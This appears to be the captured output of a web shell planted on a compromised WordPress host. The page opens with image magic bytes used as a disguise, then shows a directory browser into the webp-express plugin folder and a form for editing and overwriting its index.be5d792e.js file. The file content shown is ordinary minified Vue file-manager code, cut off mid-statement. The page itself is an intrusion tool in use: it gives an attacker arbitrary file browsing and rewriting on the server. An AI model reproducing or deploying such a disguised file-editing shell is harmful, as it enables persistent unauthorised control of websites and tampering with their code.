�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fusr%2F'>usr</a>/<a href='?path=%2Fusr%2Fwww%2F'>www</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2F'>users</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2F'>svninyjgba</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwebp-express%2F'>webp-express</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwebp-express%2Flib%2F'>lib</a>/<a href='?path=%2Fusr%2Fwww%2Fusers%2Fsvninyjgba%2Fwp-content%2Fplugins%2Fwebp-express%2Flib%2Fwcfm%2F'>wcfm</a>/</p><hr><h3>✏️ Editing: index.be5d792e.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>var ue=Object.defineProperty;var G=Object.getOwnPropertySymbols;var he=Object.prototype.hasOwnProperty,pe=Object.prototype.propertyIsEnumerable;var Z=(t,e,o)=&gt;e in t?ue(t,e,{enumerable:!0,configurable:!0,writable:!0,value:o}):t[e]=o,K=(t,e)=&gt;{for(var o in e||(e={}))he.call(e,o)&amp;&amp;Z(t,o,e[o]);if(G)for(var o of G(e))pe.call(e,o)&amp;&amp;Z(t,o,e[o]);return t};import{_ as v,o as s,c as d,a as Q,b as r,n as $,d as p,e as q,t as _,p as Y,f as H,r as m,g as w,F as B,h as P,i as x,j as A,k as J,m as ee,V as te,w as S,l as W,q as z,v as I,s as me,u as oe,x as ie,y as ne,z as X,T as fe,A as se,B as ge,C as ve}from&quot;./vendor.fa68d508.js&quot;;const ye=function(){const e=document.createElement(&quot;link&quot;).relList;if(e&amp;&amp;e.supports&amp;&amp;e.supports(&quot;modulepreload&quot;))return;for(const i of document.querySelectorAll(&#039;link[rel=&quot;modulepreload&quot;]&#039;))l(i);new MutationObserver(i=&gt;{for(const n of i)if(n.type===&quot;childList&quot;)for(const a of n.addedNodes)a.tagName===&quot;LINK&quot;&amp;&amp;a.rel===&quot;modulepreload&quot;&amp;&amp;l(a)}).observe(document,{childList:!0,subtree:!0});function o(i){const n={};return i.integrity&amp;&amp;(n.integrity=i.integrity),i.referrerpolicy&amp;&amp;(n.referrerPolicy=i.referrerpolicy),i.crossorigin===&quot;use-credentials&quot;?n.credentials=&quot;include&quot;:i.crossorigin===&quot;anonymous&quot;?n.credentials=&quot;omit&quot;:n.credentials=&quot;same-origin&quot;,n}function l(i){if(i.ep)return;i.ep=!0;const n=o(i);fetch(i.href,n)}};ye();class L{static post(e,o,l){var i=this;window.wcfmoptions.poster(e,o,function(n){l.call(i,n)},function(){console.log(&quot;failure&quot;)})}}const _e={},we={style:{position:&quot;absolute&quot;,width:&quot;0&quot;,height:&quot;0&quot;},width:&quot;0&quot;,height:&quot;0&quot;,version:&quot;1.1&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,&quot;xmlns:xlink&quot;:&quot;http://www.w3.org/1999/xlink&quot;},be=Q(`&lt;defs&gt;&lt;symbol id=&quot;icon-folder&quot; viewBox=&quot;0 0 309.267 309.267&quot;&gt;&lt;g&gt;&lt;path style=&quot;fill:#D0994B;&quot; d=&quot;M260.944,43.491H125.64c0,0-18.324-28.994-28.994-28.994H48.323c-10.67,0-19.329,8.65-19.329,19.329
        		v222.286c0,10.67,8.659,19.329,19.329,19.329h212.621c10.67,0,19.329-8.659,19.329-19.329V62.82
        		C280.273,52.15,271.614,43.491,260.944,43.491z&quot;&gt;&lt;/path&gt;&lt;path style=&quot;fill:#E4E7E7;&quot; d=&quot;M28.994,72.484h251.279v77.317H28.994V72.484z&quot;&gt;&lt;/path&gt;&lt;path style=&quot;fill:#F4B459;&quot; d=&quot;M19.329,91.814h270.609c10.67,0,19.329,8.65,19.329,19.329l-19.329,164.298
        		c0,10.67-8.659,19.329-19.329,19.329H38.658c-10.67,0-19.329-8.659-19.329-19.329L0,111.143C0,100.463,8.659,91.814,19.329,91.814z
        		&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-unfold&quot; viewBox=&quot;0 0 32 32&quot;&gt;&lt;path d=&quot;M28,14H18V4c0-1.104-0.896-2-2-2s-2,0.896-2,2v10H4c-1.104,0-2,0.896-2,2s0.896,2,2,2h10v10c0,1.104,0.896,2,2,2  s2-0.896,2-2V18h10c1.104,0,2-0.896,2-2S29.104,14,28,14z&quot;&gt;&lt;/path&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-fold&quot; viewBox=&quot;0 0 24 24&quot;&gt;&lt;g fill=&quot;none&quot; stroke=&quot;#000&quot; stroke-width=&quot;3&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;&gt;&lt;line x1=&quot;5&quot; y1=&quot;12&quot; x2=&quot;19&quot; y2=&quot;12&quot;&gt;&lt;/line&gt;&lt;/g&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-file&quot; viewBox=&quot;0 0 56 56&quot;&gt;&lt;g&gt;&lt;path style=&quot;fill:#E9E9E0;&quot; d=&quot;M36.985,0H7.963C7.155,0,6.5,0.655,6.5,1.926V55c0,0.345,0.655,1,1.463,1h40.074
        		c0.808,0,1.463-0.655,1.463-1V12.978c0-0.696-0.093-0.92-0.257-1.085L37.607,0.257C37.442,0.093,37.218,0,36.985,0z&quot;&gt;&lt;/path&gt;&lt;polygon style=&quot;fill:#D9D7CA;&quot; points=&quot;37.5,0.151 37.5,12 49.349,12 	&quot;&gt;&lt;/polygon&gt;&lt;circle style=&quot;fill:#F3D55B;&quot; cx=&quot;18.931&quot; cy=&quot;14.431&quot; r=&quot;4.569&quot;&gt;&lt;/circle&gt;&lt;polygon style=&quot;fill:#c5e8e1;&quot; points=&quot;6.5,39 17.5,39 49.5,39 49.5,28 39.5,18.5 29,30 23.517,24.517 	&quot;&gt;&lt;/polygon&gt;&lt;path style=&quot;fill:#14A085;&quot; d=&quot;M48.037,56H7.963C7.155,56,6.5,55.345,6.5,54.537V39h43v15.537C49.5,55.345,48.845,56,48.037,56z&quot;&gt;&lt;/path&gt;&lt;g&gt;&lt;/g&gt;&lt;/g&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-ok&quot; viewBox=&quot;0 0 256 256&quot;&gt;&lt;g fill=&quot;green&quot; stroke=&quot;none&quot; transform=&quot;translate(0.000000,256.000000) scale(0.100000,-0.100000)&quot;&gt;&lt;path d=&quot;M1064 2545 c-406 -72 -744 -324 -927 -690 -96 -193 -127 -333 -127 -575 0 -243 33 -387 133 -585 177 -351 518 -606 907 -676 118 -22 393 -17 511 8 110 24 252 78 356 136 327 183 569 525 628 887 19 122 19 338 0 460 -81 498 -483 914 -990 1025 -101 22 -389 28 -491 10z m814 -745 c39 -27 73 -59 77 -70 9 -27 10 -25 -372 -590 -345 -510 -357 -524 -420 -512 -19 4 -98 74 -250 225 -123 121 -225 228 -228 238 -3 10 1 31 9 47 20 40 125 132 149 132 11 0 79 -59 162 -140 79 -77 146 -140 149 -140 3 0 38 48 78 108 95 143 465 678 496 720 35 46 64 42 150 -18z&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-not-available&quot; viewBox=&quot;0 0 500.000000 500.000000&quot; preserveAspectRatio=&quot;xMidYMid meet&quot;&gt;&lt;g fill=&quot;#b11010&quot; stroke=&quot;none&quot; transform=&quot;translate(0.000000,500.000000) scale(0.100000,-0.100000)&quot;&gt;&lt;path d=&quot;M2315 4800 c-479 -35 -928 -217 -1303 -527 -352 -293 -615 -702 -738 -1151 -104 -380 -104 -824 0 -1204 107 -389 302 -724 591 -1013 354 -354 785 -572 1279 -646 196 -30 476 -30 672 0 494 74 925 292 1279 646 354 354 571 784 646 1279 30 197 30 475 0 672 -75 495 -292 925 -646 1279 -289 289 -624 484 -1013 591 -228 62 -528 91 -767 74z m353 -511 c458 -50 874 -272 1170 -624 417 -497 536 -1174 308 -1763 -56 -145 -176 -367 -235 -434 -4 -4 -566 552 -1250 1236 l-1243 1243 94 60 c354 229 754 327 1156 282z m864 -3200 c-67 -59 -289 -179 -434 -235 -946 -366 -2024 172 -2322 1158 -47 155 -66 276 -73 453 -13 362 84 704 290 1023 l60 94 1243 -1243 c684 -684 1240 -1246 1236 -1250z&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-help&quot; viewBox=&quot;0 0 400 400&quot; style=&quot;enable-background:new 0 0 400 400;&quot; xml:space=&quot;preserve&quot;&gt;&lt;g&gt;&lt;path style=&quot;fill:#cccccc;&quot; d=&quot;M199.996,0C89.719,0,0,89.72,0,200c0,110.279,89.719,200,199.996,200C310.281,400,400,310.279,400,200
      			C400,89.72,310.281,0,199.996,0z M199.996,373.77C104.187,373.77,26.23,295.816,26.23,200
      			c0-95.817,77.957-173.769,173.766-173.769c95.816,0,173.772,77.953,173.772,173.769
      			C373.769,295.816,295.812,373.77,199.996,373.77z&quot;&gt;&lt;/path&gt;&lt;path style=&quot;fill:#000000;&quot; d=&quot;M199.996,91.382c-35.176,0-63.789,28.616-63.789,63.793c0,7.243,5.871,13.115,13.113,13.115
      			c7.246,0,13.117-5.873,13.117-13.115c0-20.71,16.848-37.562,37.559-37.562c20.719,0,37.566,16.852,37.566,37.562
      			c0,20.714-16.849,37.566-37.566,37.566c-7.242,0-13.113,5.873-13.113,13.114v45.684c0,7.243,5.871,13.115,13.113,13.115
      			s13.117-5.872,13.117-13.115v-33.938c28.905-6.064,50.68-31.746,50.68-62.427C263.793,119.998,235.176,91.382,199.996,91.382z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M200.004,273.738c-9.086,0-16.465,7.371-16.465,16.462s7.379,16.465,16.465,16.465c9.094,0,16.457-7.374,16.457-16.465
      			S209.098,273.738,200.004,273.738z&quot;&gt;&lt;/path&gt;&lt;/g&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-loading&quot; viewBox=&quot;0 0 128 128&quot; xml:space=&quot;preserve&quot;&gt;&lt;g&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#049046&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#c5e8e1&quot; transform=&quot;rotate(45 64 64)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#c5e8e1&quot; transform=&quot;rotate(90 64 64)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#c5e8e1&quot; transform=&quot;rotate(135 64 64)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#c5e8e1&quot; transform=&quot;rotate(180 64 64)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#c5e8e1&quot; transform=&quot;rotate(225 64 64)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#c5e8e1&quot; transform=&quot;rotate(270 64 64)&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M38.52 33.37L21.36 16.2A63.6 63.6 0 0 1 59.5.16v24.3a39.5 39.5 0 0 0-20.98 8.92z&quot; fill=&quot;#c5e8e1&quot; transform=&quot;rotate(315 64 64)&quot;&gt;&lt;/path&gt;&lt;animateTransform attributeName=&quot;transform&quot; type=&quot;rotate&quot; values=&quot;0 64 64;45 64 64;90 64 64;135 64 64;180 64 64;225 64 64;270 64 64;315 64 64&quot; calcMode=&quot;discrete&quot; dur=&quot;720ms&quot; repeatCount=&quot;indefinite&quot;&gt;&lt;/animateTransform&gt;&lt;/g&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-trash&quot; viewBox=&quot;0 0 512 512&quot; style=&quot;enable-background:new 0 0 512 512;&quot; xml:space=&quot;preserve&quot;&gt;&lt;path d=&quot;M423.059,45.755h-97.156C321.093,19.757,298.267,0,270.897,0h-29.794c-27.37,0-50.196,19.757-55.006,45.755H88.941c-5.633,0-10.199,4.567-10.199,10.199v62.781c0,5.632,4.566,10.199,10.199,10.199h13.21v372.867c0,5.632,4.566,10.199,10.199,10.199H399.65c5.633,0,10.199-4.567,10.199-10.199V128.934h13.21c5.633,0,10.199-4.567,10.199-10.199V55.954C433.258,50.322,428.692,45.755,423.059,45.755zM241.103,20.398h29.794c16.063,0,29.672,10.706,34.065,25.356h97.926C211.432,31.104,225.04,20.398,241.103,20.398z M389.45,491.602H122.55V128.934H389.45V491.602z M412.861,108.536H99.14V66.153h313.72V108.536z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M256,151.099c-17.359,0-31.481,14.122-31.481,31.48v255.378c0,17.358,14.122,31.481,31.481,31.481s31.481-14.123,31.481-31.481V182.579C287.481,165.22,273.359,151.099,256,151.099z M267.082,437.957c0,6.11-4.972,11.082-11.082,11.082c-6.11,0-11.082-4.972-11.082-11.082V182.579c0-6.11,4.972-11.081,11.082-11.081c6.11,0,11.082,4.971,11.082,11.081V437.957z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M171.938,151.099c-17.359,0-31.481,14.122-31.481,31.48v255.378c0,17.358,14.123,31.481,31.481,31.481c17.359,0,31.481-14.123,31.481-31.481V182.579C203.419,165.22,189.297,151.099,171.938,151.099z M183.021,437.957c0,6.11-4.972,11.082-11.082,11.082s-11.082-4.972-11.082-11.082V182.579c0-6.11,4.972-11.081,11.082-11.081s11.082,4.971,11.082,11.081V437.957z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M340.062,151.099c-17.359,0-31.481,14.122-31.481,31.48v255.378c0,17.358,14.122,31.481,31.481,31.481c17.359,0,31.481-14.123,31.481-31.481V182.579C371.543,165.22,357.421,151.099,340.062,151.099z M351.144,437.957c0,6.11-4.972,11.082-11.082,11.082s-11.082-4.972-11.082-11.082V182.579c0-6.11,4.972-11.081,11.082-11.081s11.082,4.971,11.082,11.081V437.957z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M218.758,79.806H118.735c-5.633,0-10.199,4.567-10.199,10.199c0,5.632,4.566,10.199,10.199,10.199h100.023c5.633,0,10.199-4.567,10.199-10.199C228.957,84.373,224.391,79.806,218.758,79.806z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M259.192,79.806h-5.32c-5.633,0-10.199,4.567-10.199,10.199c0,5.632,4.566,10.199,10.199,10.199h5.32c5.633,0,10.199-4.567,10.199-10.199C269.392,84.373,264.825,79.806,259.192,79.806z&quot;&gt;&lt;/path&gt;&lt;/symbol&gt;&lt;symbol id=&quot;icon-eye&quot; x=&quot;0px&quot; y=&quot;0px&quot; viewBox=&quot;0 0 572.098 572.098&quot; xml:space=&quot;preserve&quot;&gt;&lt;path d=&quot;M99.187,398.999l44.333-44.332c-24.89-15.037-47.503-33.984-66.763-56.379c29.187-33.941,66.053-60.018,106.947-76.426c-6.279,14.002-9.853,29.486-9.853,45.827c0,16.597,3.696,32.3,10.165,46.476l35.802-35.797c-5.698-5.594-9.248-13.36-9.248-21.977c0-17.02,13.801-30.82,30.82-30.82c8.611,0,16.383,3.55,21.971,9.248l32.534-32.534l36.635-36.628l18.366-18.373c-21.206-4.186-42.896-6.469-64.848-6.469c-107.663,0-209.732,52.155-273.038,139.518L0,298.288l13.011,17.957C36.83,349.116,66.151,376.999,99.187,398.999z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M459.208,188.998l-44.854,44.854c30.539,16.071,58.115,37.846,80.986,64.437c-52.167,60.662-128.826,96.273-209.292,96.273c-10.3,0-20.533-0.6-30.661-1.744l-52.375,52.375c26.903,6.887,54.762,10.57,83.036,10.57c107.663,0,209.738-52.154,273.038-139.523l13.011-17.957l-13.011-17.956C532.023,242.995,497.844,212.15,459.208,188.998z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M286.049,379.888c61.965,0,112.198-50.234,112.198-112.199c0-5.588-0.545-11.035-1.335-16.402L269.647,378.56C275.015,379.349,280.461,379.888,286.049,379.888z&quot;&gt;&lt;/path&gt;&lt;path d=&quot;M248.815,373.431L391.79,230.455l4.994-4.994l45.796-45.796l86.764-86.77c13.543-13.543,13.543-35.502,0-49.046c-6.77-6.769-15.649-10.159-24.523-10.159s-17.754,3.384-24.522,10.159l-108.33,108.336l-22.772,22.772l-29.248,29.248l-48.14,48.14l-34.456,34.456l-44.027,44.027l-33.115,33.115l-45.056,45.055l-70.208,70.203c-13.543,13.543-13.543,35.502,0,49.045c6.769,6.77,15.649,10.16,24.523,10.16s17.754-3.385,24.523-10.16l88.899-88.898l50.086-50.086L248.815,373.431z&quot;&gt;&lt;/path&gt;&lt;/symbol&gt;&lt;/defs&gt;`,1),ke=[be];function xe(t,e){return s(),d(&quot;svg&quot;,we,ke)}var Ve=v(_e,[[&quot;render&quot;,xe]]);const Ce={name:&quot;FileItem&quot;,emits:[&quot;toggle&quot;,&quot;select&quot;],props:{item:Object},data(){return{hover:!1,selected:!1}},inject:[&quot;wcfm&quot;],methods:{onClick(t){this.selected=!0,this.$emit(&quot;select&quot;,this)},getWCFM(){return this.wcfm},getFullPath(){for(var t=this.$parent,e=[];t!==null&amp;&amp;t.$parent!==null;)t.item&amp;&amp;e.push(t.item.name),t=t.$parent;return e.pop(),e=e.reverse().join(&quot;/&quot;),e=e.replace(&quot;//&quot;,&quot;/&quot;),e},infoClick(){this.getWCFM().displayInfo(this.getFullPath())},convertClick(){this.getWCFM().onConvertClick(this.getFullPath())}}},R=t=&gt;(Y(&quot;data-v-4fb0cc48&quot;),t=t(),H(),t),ze={key:0,class:&quot;icon-fold&quot;},Se=R(()=&gt;r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-fold&quot;},null,-1)),Me=[Se],Ie={key:1,class:&quot;icon-unfold&quot;},Oe=R(()=&gt;r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-unfold&quot;},null,-1)),Te=[Oe],$e=R(()=&gt;r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-folder&quot;},null,-1)),Be=[$e],Le={key:2,class:&quot;icon-file&quot;},De=R(()=&gt;r(&quot;use&quot;,{&quot;xlink:href&quot;:&quot;#icon-file&quot;},null,-1)),qe=[De];function Ae(t,e,o,l,i,n){return s(),d(&quot;div&quot;,{class:$({fileitem:!0,selected:i.selected}),onMouseover:e[2]||(e[2]=a=&gt;i.hover=!0),onMouseleave:e[3]||(e[3]=a=&gt;i.hover=!1),onClick:e[4]||(e[4]=(...a)=&gt;n.onClick&amp;&amp;n.onClick(...a))},[r(&quot;p&quot;,null,[o.item.isDir?(s(),d(&quot;span&quot;,{key:0,class:$({&quot;fold-unfold&quot;:!0,empty:o.item.isEmpty}),onClick:e[0]||(e[0]=a=&gt;this.$emit(&quot;toggle&quot;))},[o.item.isOpen?(s(),d(&quot;svg&quot;,ze,Me)):p(&quot;&quot;,!0),o.item.isOpen?p(&quot;&quot;,!0):(s(),d(&quot;svg&quot;,Ie,Te))],2)):p(&quot;&quot;,!0),o.item.isDir?(s(),d(&quot;svg&quot;,{key:1,class:&quot;icon-folder&quot;,onClick:e[1]||(e[1]=a=&gt;this.$emit(&quot;toggle&quot;))},Be)):p(&quot;&quot;,!0),o.item.isDir?p(&quot;&quot;,!0):(s(),d(&quot;svg&quot;,Le,qe)),q(&quot; &quot;+_(o.item.nickname||o.item.name),1)])],34)}var Pe=v(Ce,[[&quot;render&quot;,Ae],[&quot;__scopeId&quot;,&quot;data-v-4fb0cc48&quot;]]);const Ue={name:&quot;FileTree&quot;,components:{FileItem:Pe},emits:[&quot;select&quot;],props:{item:Object},data(){return{loading:!1}},methods:{load(){var t=this;L.post(&quot;get-folder&quot;,{path:this.$refs.thefileitem.getFullPath()},function(e){t.loading=!0,t.item.children=e.children.sort(function(o,l){return o.isDir&amp;&amp;!l.isDir?-1:!o.isDir&amp;&amp;l.isDir||o.name&gt;l.name?1:o.name&lt;l.name?-1:0}),t.item.loaded=!0,t.loading=!1})},toggle(){this.item.isOpen=!this.item.isOpen,this.item.loaded||this.load()},onSelect(t){this.$emit(&quot;select&quot;,t)}},mounted(){let t=this.$refs.thefileitem.getFullPath();(t==&quot;/&quot;||t.indexOf(&quot;/&quot;)==-1)&amp;&amp;this.toggle()}},je={key:0},Re=r(&quot;li&quot;,null,&quot;loading...&quot;,-1),Fe=[Re],Ne={key:1,class:&quot;tree&quot;};function Ye(t,e,o,l,i,n){const a=m(&quot;FileItem&quot;),c=m(&quot;FileTree&quot;,!0);return s(),d(B,null,[w(a,{ref:&quot;thefileitem&quot;,item:o.item,onDblclick:n.toggle,onToggle:n.toggle,onSelect:n.onSelect},null,8,[&quot;item&quot;,&quot;onDblclick&quot;,&quot;onToggle&quot;,&quot;onSelect&quot;]),i.loading?(s(),d(&quot;ul&quot;,je,Fe)):p(&quot;&quot;,!0),o.item.children!==void 0&amp;&amp;o.item.isOpen?(s(),d(&quot;ul&quot;,Ne,[(s(!0),d(B,null,P(o.item.children,g=&gt;(s(),d(&quot;li&quot;,null,[w(c,{item:g,onSelect:n.onSelect},null,8,[&quot;item&quot;,&quot;onSelect&quot;])]))),256))])):p(&quot;&quot;,!0)],64)}var He=v(Ue,[[&quot;render&quot;,Ye]]);const We={name:&quot;Files&quot;,components:{FileTree:He},emits:[&quot;select&quot;],props:{item:Object,statusText:String},methods:{onSelect(t){this.selectedItem&amp;&amp;(this.selectedItem.selected=!1),this.selectedItem=t,this.$emit(&quot;select&quot;,this.selectedItem.getFullPath(),this.selectedItem.item.isDir)}},data(){return{selected:null}}},Xe={key:1};function Ee(t,e,o,l,i,n){const a=m(&quot;FileTree&quot;);return s(),d(B,null,[o.item?(s(),x(a,{key:0,item:o.item,onSelect:n.onSelect},null,8,[&quot;item&quot;,&quot;onSelect&quot;])):p(&quot;&quot;,!0),o.item?p(&quot;&quot;,!0):(s(),d(&quot;div&quot;,Xe,_(o.statusText),1))],64)}var Ge=v(We,[[&quot;render&quot;,Ee]]);const Ze={name:&quot;Modal&quot;,emits:[&quot;close&quot;],props:{title:{type:String},closeButtonText:{type:String},width:{type:[Number,String],default:&quot;95%&quot;},maxwidth:{type:[Number,String],default:&quot;700px&quot;},alignment:{type:String,default:&quot;center&quot;},height:{type:[Number,String],default:&quot;92%&quot;},maxheight:{type:[Number,String],default:&quot;700px&quot;},valignment:{type:String,default:&quot;center&quot;}},computed:{containerStyle(){let t={width:this.width,&quot;max-width&quot;:this.maxwidth,height:this.height,&quot;max-height&quot;:this.maxheight};return this.alignment==&quot;center&quot;&amp;&amp;(t.margin=&quot;0px auto&quot;),this.alignment==&quot;right&quot;&amp;&amp;(t.position=&quot;absolute&quot;,t.right=&quot;10px&quot;),this.valignment==&quot;center&quot;&amp;&amp;(t.top=&quot;50%&quot;,t.transform=&quot;translateY(-50%)&quot;),this.alignment==&quot;bottom&quot;&amp;&amp;(t.position=&quot;absolute&quot;,t.bottom=&quot;10px&quot;),t}},methods:{onCloseClick(){this.$emit(&quot;close&quot;)},registerKeyDownEvent(){let t=this;document.onkeydown=function(e){e=e||window.event;var o=!1;&quot;key&quot;in e?o=e.key===&quot;Escape&quot;||e.key===&quot;Esc&quot;:o=e.keyCode===27,o&amp;&amp;t.$emit(&quot;close&quot;)}}},mounted(){this.registerKeyDownEvent()}},Ke={class:&quot;modal-mask&quot;},Qe={class:&quot;modal-wrapper&quot;},Je={class:&quot;title&quot;},et={class:&quot;modal-body&quot;},tt={class:&quot;content&quot;},ot=q(&quot; default body &quot;),it={class:&quot;close-button-with-text&quot;};function nt(t,e,o,l,i,n){return s(),d(&quot;div&quot;,Ke,[r(&quot;div&quot;,Qe,[r(&quot;div&quot;,{class:&quot;modal-container&quot;,style:A(n.containerStyle)},[r(&quot;a&quot;,{class:&quot;close-button&quot;,onClick:e[0]||(e[0]=(...a)=&gt;n.onCloseClick&amp;&amp;n.onCloseClick(...a))},&quot;X&quot;),r(&quot;div&quot;,Je,_(o.title),1),r(&quot;div&quot;,et,[r(&quot;div&quot;,tt,[J(t.$slots,&quot;default&quot;,{},()=&gt;[ot]),r(&quot;div&quot;,it,[r(&quot;button&quot;,{onClick:e[1]||(e[1]=(...a)=&gt;n.onCloseClick&amp;&amp;n.onCloseClick(...a))},_(o.closeButtonText),1)])])])],4)])])}var ae=v(Ze,[[&quot;render&quot;,nt]]);const st={name:&quot;ZoomSlider&quot;,components:{Slider:ee},emits:[&quot;update:zoom&quot;],props:{zoom:{type:Number,default:1}},watch:{exp(t,e){this.$emit(&quot;update:zoom&quot;,2**t)},zoom(t,e){this.exp=Math.log2(t)}},methods:{sliderFormat(t){return Math.round(2**t*100)+&quot;%&quot;}},mounted(){},data(){return{exp:0}}},at={class:&quot;zoom-slider&quot;};function lt(t,e,o,l,i,n){const a=m(&quot;Slider&quot;);return s(),d(&quot;div&quot;,at,[w(a,{modelValue:i.exp,&quot;onUpdate:modelValue&quot;:e[0]||(e[0]=c=&gt;i.exp=c),min:-4,max:4,width:100,step:-1,format:n.sliderFormat,tooltipPosition:&quot;bottom&quot;,orientation:&quot;horizontal&quot;},null,8,[&quot;modelValue&quot;,&quot;format&quot;])])}var rt=v(st,[[&quot;render&quot;,lt]]);const ct={name:&quot;ImageViewport&quot;,components:{VueZoomer:te,ZoomSlider:rt},emits:[&quot;update:zoom&quot;,&quot;update:translateX&quot;,&quot;update:translateY&quot;,&quot;load&quot;,&quot;resize&quot;],props:{src:{type:String},height:{type:Number,default:500},zoom:{type:Number,default:1},scaleZoomRatio:{type:Number},translateX:{type:Number,default:1},translateY:{type:Number,default:1}},data(){return{ratio:1,ro:null}},watch:{height(t,e){var o;((o=this.$refs)==null?void 0:o.zoomer)&amp;&amp;(this.$refs.zoomer.onWindowResize(),this.$refs.zoomer.refreshContainerPos())},scaleZoomRatio(t){var e;((e=this.$refs)==null?void 0:e.zoomer)&amp;&amp;(this.$refs.zoomer.onWindowResize(),this.$refs.zoomer.refreshContainerPos()),this.$refs.zoomer.scale=this.zoom*this.scaleZoomRatio},zoom(t,e){this.isImageReady(),this.$refs.zoomer.scale=t*this.scaleZoomRatio},translateX(t,e){this.$refs.zoomer.translateX!=t&amp;&amp;(this.$refs.zoomer.translateX=t)},translateY(t,e){this.$refs.zoomer.translateY!=t&amp;&amp;(this.$refs.zoomer.translateY=t)}},methods:{getGoodContainerHeight(){var t,e,o;if((e=(t=this.$refs)==null?void 0:t.theimg)==null?void 0:e.naturalWidth){let l=this.$refs.theimg.naturalWidth/this.$refs.theimg.naturalHeight,n=((o=this.$refs.root)==null?void 0:o.offsetWidth)/l;return n&gt;300&amp;&amp;(n=300),n}return 300},updateContainerHeight(){},isImageReady(){var t,e,o;return!(!((e=(t=this.$refs)==null?void 0:t.theimg)==null?void 0:e.naturalWidth)||!((o=this.$refs.root)==null?void 0:o.offsetWidth))},calcScaleZoomRatio(){var l,i;if(!this.isImageReady())return 1;let t=this.$refs.theimg.naturalWidth/((l=this.$refs.root)==null?void 0:l.offsetWidth),e=this.$refs.theimg.naturalHeight/((i=this.$refs.root)==null?void 0:i.offsetHeight),o=Math.max(t,e);return isNaN(o)?1:o},updateRatio(){},updateScale(){this.zoom&amp;&amp;(this.$refs.zoomer.scale=this.zoom*this.scaleZoomRatio)},zoomToFit(){},onImgLoad(){var t,e;((e=(t=this.$refs)==null?void 0:t.theimg)==null?void 0:e.naturalWidth)&amp;&amp;this.$emit(&quot;load&quot;)},onResize(){this.$emit(&quot;resize&quot;)},onDoubleTap(){console.log(&quot;double tab - zoom to 100%&quot;),this.$emit(&quot;update:zoom&quot;,1),this.$emit(&quot;update:translateX&quot;,0),this.$emit(&quot;update:translateY&quot;,0)}},mounted(){window.ResizeObserver&amp;&amp;(this.ro=new 